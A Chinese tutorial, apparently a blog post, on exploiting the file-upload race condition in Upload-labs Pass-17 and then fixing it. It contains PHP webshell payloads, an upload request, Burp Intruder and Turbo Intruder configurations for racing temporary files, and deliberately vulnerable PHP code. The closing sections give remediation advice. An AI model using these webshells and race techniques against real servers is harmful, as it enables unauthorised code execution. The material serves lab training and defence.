
1. 项目概述一次关于条件竞争漏洞的深度实战Upload-labs这个靶场但凡搞过Web安全渗透测试的兄弟应该都不陌生。它几乎把文件上传漏洞的各种花式玩法都给你摆出来了从最基础的绕过前端验证到服务端MIME、黑名单、白名单、二次渲染再到各种奇奇怪怪的解析漏洞算是一个相当全面的“上传漏洞百科全书”。今天要聊的第17关算是这个靶场里一个比较有意思的“进阶关卡”它不再考验你静态的绕过技巧而是引入了一个动态的、与时间赛跑的概念——条件竞争漏洞。简单来说条件竞争漏洞的核心在于“时机”。服务器在处理你的请求时可能不是一气呵成的而是分成了几个步骤。比如它先把你上传的文件保存到一个临时位置然后进行安全检查比如查杀病毒、校验内容检查通过了再移动到最终的公开目录。问题就出在“保存”和“检查”这两个动作之间存在一个短暂的时间窗口。如果攻击者能在这个窗口期内抢在安全检查完成之前访问到这个临时文件那么恶意代码就可能被执行。这就像两个人赛跑服务器内部的两个线程保存线程和检查线程在赛跑而攻击者要做的就是掐准时间让自己的请求访问文件插队跑到检查完成之前。这一关的难点在于这个时间窗口非常短可能只有几十甚至几毫秒靠手动点击或者简单的重放攻击Repeater基本不可能成功。这时候就得请出我们的“爆破神器”——BurpSuite的Intruder模块了。但别以为用Intruder就是无脑发包针对条件竞争它的配置和使用思路和普通的密码爆破、参数枚举截然不同。你需要模拟出高频、并发的请求去“撞”那个稍纵即逝的机会。同时为了真正理解漏洞成因我们还得扒开靶场的PHP源码看看服务器到底是怎么“跑”的为什么它会留下这个空子。这不仅是一次通关练习更是一次对服务器端逻辑和并发处理机制的深度剖析。2. 核心漏洞原理与靶场环境解析2.1 条件竞争漏洞的本质与常见场景条件竞争漏洞英文叫Race Condition Vulnerability是并发编程中一个经典的安全问题在Web领域的体现。它的根源在于程序在处理共享资源比如同一个文件、同一个数据库记录时没有做好“同步”和“原子性”保证。我们可以用一个生活化的类比来理解假设有一个公共储物柜管理员的工作流程是1. 打开一个空柜门2. 检查客人要存的东西是否合规比如不能存危险品3. 如果合规关上柜门并上锁把钥匙给客人。现在攻击者客人要存一个危险品。他趁管理员执行完步骤1打开了柜门正在执行步骤2低头检查物品的瞬间迅速用另一个一模一样的危险品替换了手里正在被检查的物品或者干脆直接把手里的危险品扔进已经打开的柜子里然后立刻离开。等管理员检查完手里已经被调包或已为空的物品认为“合规”就会执行步骤3锁上那个已经装有危险品的柜门。这样危险品就成功存入了。在Web中这个“储物柜”就是服务器上的一个文件“管理员”就是处理上传请求的PHP脚本。常见的引发条件竞争的场景包括非原子性的文件操作就像Upload-labs第17关演示的先move_uploaded_file()到一个临时目录或具有随机名的目录然后进行安全校验校验通过后再rename()或copy()到最终目录。两个操作不是不可分割的。先写后验任何“先执行某个动作再检查这个动作是否被允许”的逻辑都可能存在竞争。例如先创建用户并赋予默认权限再检查邀请码是否有效。缓存与数据库的更新延迟更新数据库后依赖缓存失效和重新加载的间隙可能读到旧的数据状态。理解了这个本质我们就能明白挖掘这类漏洞的关键在于仔细审计代码寻找任何对同一资源进行“多步非原子操作”的地方并思考这些步骤之间是否存在可被利用的时间差。2.2. 第17关PHP源码深度剖析要攻破一个关卡最有效的方式就是读懂它的“游戏规则”。我们直接来看Upload-labs第17关的核心源码通常位于upload-labs/Pass-17/index.php或其包含的检查文件中。关键的漏洞代码逻辑通常如下所示此为模拟还原用于讲解// 假设的漏洞代码逻辑 $upload_file $_FILES[upload_file][tmp_name]; // 用户上传文件的临时路径 $file_name $_FILES[upload_file][name]; $target_path $UPLOAD_ADDR . / . $file_name; // 最终目标路径 // 第一步先将上传的文件移动到一个“待检查”的目录这个目录可能Web可访问 $temp_path $UPLOAD_ADDR . /temp_ . md5(uniqid()) . _ . $file_name; if (move_uploaded_file($upload_file, $temp_path)) { // 第二步进行一系列耗时的安全检查如病毒扫描、内容分析、图片二次渲染等 if (check_file_safety($temp_path)) { // 这是一个模拟的、可能较慢的检查函数 // 检查通过移动到最终目录 rename($temp_path, $target_path); $msg 文件上传成功; } else { // 检查失败删除临时文件 unlink($temp_path); $msg 文件安全检查未通过; } } else { $msg 文件移动失败; }漏洞点解析move_uploaded_file($upload_file, $temp_path)这是第一个关键操作。它将用户上传的文件从PHP的临时目录移动到了Web服务器的一个子目录例如upload/temp_xxxxxx.php。重点在于这个$temp_path对应的文件在移动完成后就已经真实存在于Web目录下了并且其文件名在一定程度上是可预测或部分可预测的虽然用了uniqid()和md5但在单次请求中攻击者通过响应可以知道这个临时文件名。check_file_safety($temp_path)这是第二个关键操作也是产生时间窗口的原因。这个函数可能执行复杂的操作调用外部杀毒引擎ClamAV扫描、对图片进行GD库或ImageMagick的渲染处理、解析文件内容进行正则匹配等。这些操作都是耗时的可能花费几十毫秒到几秒不等。rename($temp_path, $target_path)或unlink($temp_path)这是第三步取决于检查结果。问题在于从第1步完成到第3步开始执行中间隔着第2步的执行时间。这就是攻击者可以利用的“竞争窗口”。攻击思路攻击者上传一个包含WebShell代码的PHP文件例如shell.php。服务器执行上述代码t0时刻文件被移动到upload/temp_a1b2c3_shell.php。t0到t1时刻服务器线程忙于执行check_file_safety。攻击者在t0之后t1之前的某个时刻比如t010ms立即疯狂、高并发地访问http://target.com/upload/temp_a1b2c3_shell.php。如果攻击者的访问请求在服务器执行rename移动到正式目录或unlink删除之前到达并且Web服务器如Apache/Nginx配置了对此目录的PHP解析那么temp_a1b2c3_shell.php就会被当作PHP脚本执行攻击者就拿到了WebShell。由于临时文件名包含随机部分攻击者需要利用响应信息如果服务器返回了临时路径或进行文件名爆破。注意在实际的Upload-labs第17关中代码可能更隐蔽。它可能不是简单的“检查-移动”而是“移动-检查-删除/重命名”或者检查逻辑隐藏在某个复杂的函数调用或外部API中。但核心模式“非原子性的先存后检”是不变的。你需要用Burp抓包分析响应判断服务器是否在响应中泄露了临时文件的存储路径或命名规则。2.3. 环境准备与工具配置要点工欲善其事必先利其器。进行条件竞争漏洞利用对环境和工具有些特殊要求。1. 靶场环境搭建Upload-labs通常基于PHPMySQL使用Docker搭建是最方便、最隔离的方式。# 假设从GitHub克隆项目 git clone https://github.com/c0ny1/upload-labs.git cd upload-labs # 使用docker-compose启动确保docker-compose.yml配置正确 docker-compose up -d启动后访问http://your-ip:port即可。确保第17关是可访问的。用Docker的好处是环境统一不会污染宿主机测试完一键清理。2. BurpSuite配置与优化BurpSuite是核心工具社区版免费的Intruder功能就足够我们进行这次测试。代理设置确保浏览器正确配置了Burp的代理通常是127.0.0.1:8080并且安装了Burp的CA证书以便拦截HTTPS流量。Intruder线程与速率这是成败的关键。条件竞争需要高并发。进入Project options-Miscellaneous-Intruder部分。将Number of threads线程数调到最高社区版通常是20-30专业版可以更高。线程数决定了并发请求的数量。Retry on failure可以酌情勾选但注意这可能影响对竞争成功与否的判断。Throttle请求间隔务必取消勾选或设置为0。我们需要的是尽可能快的连续请求而不是有间隔的请求。资源与性能高并发发包会对Burp、靶场服务器和你的网络造成压力。建议在本地虚拟机或内网环境进行测试减少网络延迟的影响。同时关注Burp的内存使用情况避免崩溃。3. 测试文件准备准备一个简单的WebShell文件例如shell.php内容为?php eval($_POST[cmd]);?或者为了更直观地证明执行成功可以使用?php echo Race Condition Success! . system($_GET[command]); ?我们将尝试上传这个文件。由于靶场可能有基础的后缀名或内容检查我们可能需要结合前几关的知识进行初步绕过比如如果检查?php可以尝试短标签?或配合图片马但第17关的核心考察点是竞争通常对文件内容本身的检查就是那个“耗时操作”所以我们直接上传纯PHP脚本即可。3. 利用BurpSuite Intruder实施条件竞争攻击3.1. 抓包分析与攻击点定位首先我们正常操作上传shell.php文件并用BurpSuite拦截这个POST请求。拦截到的请求包可能如下POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: 192.168.1.100 Content-Length: 362 ... Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameupload_file; filenameshell.php Content-Type: application/octet-stream ?php eval($_POST[cmd]);? ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namesubmit 提交 ------WebKitFormBoundaryABC123--关键分析步骤发送一次请求并观察响应将拦截到的请求发送到Repeater然后发送一次。仔细观察服务器的响应内容。这是至关重要的一步。条件竞争漏洞的利用往往依赖于服务器在响应中“泄露”的信息。成功响应如果服务器返回“文件上传成功”并显示了文件路径如File uploaded to: upload/temp_5f1d3a8b7c2e1_shell.php 那简直是“福音”。这直接给了你临时文件的完整路径。你的攻击就变成了在上传请求发出的瞬间疯狂访问这个路径。常见响应更常见的情况是服务器只返回一个模糊的成功或失败信息。但有时在错误信息、调试信息、或者页面的HTML源码注释、JS变量中可能会包含临时文件的路径或命名规则。用Burp的Response面板切换到Raw和HTML视图仔细查找。无信息响应如果服务器什么都没返回那我们就需要猜测或爆破临时文件的命名规则。从源码分析中我们看到常用uniqid()、md5、时间戳、随机数等。这加大了难度但并非不可能。确定攻击模式对于条件竞争我们通常需要两个Intruder任务协同工作。任务A上传任务负责持续、多次地上传我们的WebShell文件。目的是不断“制造”处于临时状态的恶意文件。任务B访问任务负责以极高的频率去访问猜测或已知的临时文件URL尝试在文件被删除或移走前命中并执行它。在本关假设我们通过响应发现服务器返回了类似文件已接收正在安全检查中临时存储于upload/temp_66ba00d7a1b28_shell.php的信息。那么我们就有了明确的攻击目标。3.2. Intruder模块配置详解双任务协同爆破任务A配置持续上传将拦截到的上传请求包右键发送到Intruder。在Positions标签页由于我们只是简单地重复发送这个上传请求不需要修改任何参数所以清空所有攻击载荷位置点击Clear §。这意味着Intruder将原封不动地重复发送这个数据包。在Payloads标签页选择Payload type为Null payloads。在Null Payloads选项中设置Generate一个较大的数量比如500次。这表示这个任务会连续发送500次相同的上传请求。在Options标签页的Request Engine中设置Threads为20或更高。将Throttle设置为0。这样任务A就会以最大并发能力快速发出500个上传请求相当于在短时间内向服务器“塞”了500个待检查的临时WebShell文件。实操心得设置Null payloads并发送大量请求是为了最大化“中奖”概率。因为服务器的检查线程可能有限大量并发的上传请求会导致待检查文件队列堆积从而延长单个文件处于“临时可访问状态”的时间窗口为我们任务B的命中创造更有利的条件。任务B配置高频访问我们需要构造一个GET请求用于访问临时文件。在Burp的Repeater或Proxy-HTTP history中手动构造一个请求GET /upload-labs/upload/temp_66ba00d7a1b28_shell.php HTTP/1.1 Host: 192.168.1.100注意这里的路径temp_66ba00d7a1b28_shell.php是我们从第一次上传响应中获取的。但问题是每次上传生成的随机字符串66ba00d7a1b28都不同。我们无法直接用这个固定URL。处理随机字符串观察命名规则temp_{md5(uniqid())}_{原文件名}。uniqid()基于微秒时间生成短时间内连续调用其MD5值的变化是难以预测的。因此最务实的策略是进行部分爆破。我们假设原文件名shell.php不变只爆破中间那部分MD5字符串。但32位的MD5值空间太大不可行。更可行的策略如果服务器在每次上传后响应里都包含本次生成的临时文件名那么我们可以编写一个Burp插件如利用Logger或自定义Montoya API插件或使用Turbo IntruderBurp专业版的一个高效攻击工具实现“请求-提取-再请求”的自动化流程。但这超出了基础利用的范畴。简化攻击针对本关教学在Upload-labs第17关的常见设置中为了降低难度它可能使用了固定的临时文件名或者临时文件名虽然随机但最终访问路径是可预测的例如检查通过后文件被移动到以固定名称命名的目录。另一种可能是服务器在检查失败删除文件时存在逻辑漏洞导致文件未被删除。我们需要再次审阅源码或反复测试。假设场景1临时文件固定为upload/temp_upload.php。那么任务B就非常简单只需高频访问这个固定URL。假设场景2源码存在未删除漏洞。即检查失败后unlink($temp_path)执行失败或被跳过。那么我们只需要让上传请求失败例如上传一个肯定无法通过检查的文件这个临时文件就会永久留在服务器上。然后我们再慢慢访问它。但这不属于严格的条件竞争。假设场景3需要爆破随机部分。如果随机部分较短比如6位数字我们可以用Intruder的Brute forcer载荷进行爆破。但通常这种场景较少。鉴于教学目的我们采用一个更通用的、贴近真实漏洞利用思维的方法利用响应提取并发访问。我们假设服务器每次响应都会在HTML的某个隐藏标签里返回临时文件名例如!-- debug: temp_file: upload/temp_5f1d3a8b7c2e1_shell.php --那么我们可以这样操作配置任务A上传时在Options-Grep - Extract中添加一个提取规则定位到响应中临时文件名的部分并将其提取出来。这样每次上传请求的响应我们都能获得一个新鲜的临时文件名。但是标准的Intruder无法将上一个请求的提取结果动态设置为下一个请求任务B的URL。这就需要更高级的自动化。因此对于手动利用更实际的步骤是并行启动两个Intruder攻击攻击1对上传请求任务A进行“空载荷”的持续轰炸线程调高数量设大如1000次。攻击2对访问请求任务B进行“空载荷”的持续轰炸访问一个我们猜测可能存在的临时文件路径。例如如果命名规则是temp_{RANDOM}.php且RANDOM是6位数字我们可以用Sniper模式在RANDOM位置设置载荷用Numbers类型从0爆破到999999。虽然量大但这是无奈之举。使用Turbo Intruder如果可用这是Burp Suite专业版的一个扩展专门为高速、复杂的攻击设计。它可以轻松实现“发送上传请求 - 从响应提取临时路径 - 立即并发发送多个访问请求到该路径”的流水线操作这才是真正高效的条件竞争利用方式。其脚本逻辑类似于def queueRequests(target, wordlists): engine RequestEngine(endpointtarget.endpoint, concurrentConnections30, requestsPerConnection100, pipelineFalse ) # 循环上传文件 for i in range(1000): engine.queue(target.req, upload) # upload是标记对应下面的handleResponse def handleResponse(req, interesting): if req.label upload: # 从上传响应中提取临时路径 temp_path extract_temp_path_from_response(req.response) if temp_path: # 立即针对这个临时路径发起50次并发访问请求 for j in range(50): attack_req build_get_request(temp_path) engine.queue(attack_req)通过这种方式每个临时文件一产生就会立刻遭到数十次访问尝试命中率极高。3.3. 攻击执行与结果判断由于手动完全模拟自动化流程较复杂我们演示一个简化但有效的攻击过程配置攻击A上传器Target: 你的靶场地址。Positions: 清空使用原始请求。Payloads:Null payloads, Count: 500。Options: Threads30, Throttle0。取消Store requests/responses以节省资源。Start attack。让它在后台疯狂上传。配置攻击B访问器构造一个GET请求URL为/upload-labs/upload/temp_§§.php。这里我们假设临时文件就在upload目录下并且随机部分是6位数字§§是Intruder的载荷位置标记。Positions: 选中URL中的数字部分设置为Sniper攻击模式。Payloads:Payload type选择Numbers。设置From 0, To 999999, Step 1。生成100万个数字显然太多我们可以先尝试一个较小的范围比如0-20000并增加线程数。Options: Threads50, Throttle0。在Grep - Match中添加一个我们WebShell成功执行后的特征字符串比如Race Condition Success或eval等。这样Intruder会在结果中高亮显示成功的响应。Start attack。让攻击B开始用大量线程尝试访问upload/temp_0.php,upload/temp_1.php...upload/temp_20000.php。监控结果主要关注攻击B的Results界面。在Payload列和Status列之间会有一个我们刚才设置的Grep - Match列。如果某个请求的响应体中包含了我们设定的特征字符串该行就会被标记通常是黄色高亮。一旦发现被标记的行立即查看其Response。如果响应中包含了我们WebShell的执行结果例如执行了whoami命令后的输出则证明攻击成功。同时也可以观察攻击A上传任务的完成情况确保它一直在运行不断“生产”临时文件。结果判断的几种情况成功攻击B的某个请求返回了200状态码并且响应体包含WebShell执行成功的特征。恭喜你条件竞争利用成功。失败文件已删除攻击B的请求大部分返回404未找到或403禁止访问。这说明服务器的unlink操作很快或者你的访问请求始终没赶上。需要调整策略增加攻击A的并发量制造更多积压增加攻击B的线程数提高访问频率或者尝试在攻击A中上传一个检查时间更长的文件比如一个非常大的文件或特殊构造的、能拖慢检查进程的文件。失败路径错误攻击B的请求全部返回404。这说明你猜测的临时文件路径或命名规则是错误的。需要重新分析源码或服务器响应寻找线索。注意事项这种高并发攻击会对服务器产生巨大压力可能导致服务器拒绝服务DoS或日志爆满。务必仅在授权的测试环境如自己的靶场中进行。在真实渗透测试中需谨慎评估测试强度并遵守测试规则。4. 漏洞修复方案与安全开发建议成功利用漏洞之后作为负责任的安全研究者或开发者我们更应该思考如何修复它。条件竞争漏洞的修复核心在于“消除竞争窗口”即让“保存”和“检查”这两个操作变成一个不可分割的原子操作或者改变执行顺序。4.1. 基于源码的修复方案针对我们之前分析的漏洞代码有以下几种修复思路方案一先检查后移动推荐这是最根本的解决方案。在文件被移动到Web可访问目录之前就完成所有安全检查。$upload_file $_FILES[upload_file][tmp_name]; // PHP临时文件路径 $file_name $_FILES[upload_file][name]; $target_path $UPLOAD_ADDR . / . $file_name; // 第一步在临时路径不可Web访问进行检查 if (check_file_safety($upload_file)) { // 检查仍在系统临时目录的文件 // 第二步检查通过再移动到最终目录 if (move_uploaded_file($upload_file, $target_path)) { $msg 文件上传成功; } else { $msg 文件移动失败; } } else { // 检查失败无需额外删除PHP会自动清理临时文件 $msg 文件安全检查未通过; }优势完全消除了竞争窗口因为恶意文件在检查期间从未出现在Web可访问目录中。注意check_file_safety函数必须能对$_FILES[‘file’][‘tmp_name’]这个临时文件进行操作。同时要确保检查逻辑足够安全。方案二使用不可预测且不可访问的临时路径如果业务逻辑必须先将文件移动到某个中间位置那么这个位置必须是Web服务器无法直接访问的。// 在Web根目录之外创建一个临时目录 $temp_dir /var/www/private_upload_temp/; if (!is_dir($temp_dir)) { mkdir($temp_dir, 0700); // 权限设置为700仅允许Web服务器进程用户读写 } $temp_path $temp_dir . md5(uniqid()) . _ . $file_name; if (move_uploaded_file($upload_file, $temp_path)) { if (check_file_safety($temp_path)) { $final_path $UPLOAD_ADDR . / . $file_name; rename($temp_path, $final_path); $msg 文件上传成功; } else { unlink($temp_path); $msg 文件安全检查未通过; } }优势即使存在时间窗口攻击者也无法通过HTTP请求直接访问到/var/www/private_upload_temp/下的文件。关键点必须确保临时目录不在Web根目录下并且其路径不会通过任何方式错误信息、日志泄露给用户。方案三使用原子性操作或文件锁在移动文件到临时位置后立即通过某种方式“锁定”该文件使其不能被Web服务器执行直到检查完成。重命名后缀移动后立即将文件重命名为.tmp或.check后缀检查通过后再改回.php。但需要确保Web服务器不会解析这些临时后缀。文件系统权限移动后立即用chmod()将文件权限改为000不可读不可写不可执行检查通过后再改为644。这增加了攻击者直接执行文件的难度。使用flock()文件锁在检查期间对文件进行排他锁。虽然能防止其他进程读写但无法阻止Web服务器在接收到HTTP请求时启动一个新的进程/线程来读取文件而新进程可能不受之前进程锁的限制。因此文件锁在Web环境下防御条件竞争的效果有限不推荐作为主要手段。4.2. 安全开发最佳实践除了修复具体的代码漏洞在设计和开发文件上传功能时应建立一套完整的安全体系白名单验证不仅后缀名要用白名单文件内容的MIME类型也要用白名单校验结合finfo_file()或mime_content_type()。文件内容检查对于图片使用GD库或ImageMagick进行二次渲染并保存渲染后的新图片彻底破坏嵌入的脚本代码。对于其他文件可以进行静态内容分析。重命名文件不要使用用户上传的文件名。使用随机生成的文件名如UUID并保留原始后缀或者将文件存储在按日期/用户ID组织的目录中避免目录遍历和文件名冲突。设置安全权限上传目录应配置为禁止脚本执行。在Nginx中可以通过location ~* \.(php|jsp|asp)$ { deny all; }实现。在Apache中可以在上传目录放置一个.htaccess文件内容为RemoveHandler .php .php5 .phtml等。使用安全的文件存储服务对于大型应用考虑使用云存储服务如AWS S3, OSS等它们通常提供了更完善的上传策略、生命周期管理和访问控制。日志与监控记录所有文件上传操作包括时间、IP、用户、文件名、文件哈希、最终存储路径等。监控异常上传行为如频率过高、文件类型异常等。4.3. 漏洞挖掘与自动化测试思路通过这次手动测试我们可以总结出挖掘此类漏洞的自动化思路静态代码审计白盒在PHP代码中搜索move_uploaded_file、rename、copy等文件移动函数检查其前后是否有耗时的操作如sleep、循环、复杂计算、外部命令调用、网络请求等。重点关注“移动”操作和后续“删除”或“二次移动”操作之间的代码。动态模糊测试黑盒可以使用像ffuf、wfuzz这样的工具或者编写Python脚本模拟高并发的“上传-访问”测试流程。工具A不断上传一个内容为?php echo md5(‘race’);?的测试文件。工具B根据服务器响应或预设规则生成一系列可能的临时URL并高并发访问。监控工具B的响应寻找返回了md5(‘race’)计算结果d1e81f5d6c0cbf064f5e26c73c4c6c1e的请求。使用专业工具除了BurpSuite的Intruder和Turbo Intruder还可以考虑RacePwn这类专门针对条件竞争漏洞的测试工具。条件竞争漏洞就像数字世界里的“闪电战”考验的是对时机极致的把握和对系统逻辑深刻的理解。Upload-labs第17关提供了一个绝佳的练兵场。从手动抓包分析到配置Intruder进行高并发测试再到最后剖析源码、思考修复方案这一整套流程走下来你收获的不仅仅是一个通关技巧更是一种挖掘和防御复杂逻辑漏洞的思维方式。在实际的渗透测试中遇到的文件上传点可能比这复杂得多但只要你抓住了“非原子操作”和“时间窗口”这两个核心就拥有了打开这扇门的钥匙。最后记住所有测试都要在合法授权的范围内进行技术的刀刃应当用于筑盾而非破墙。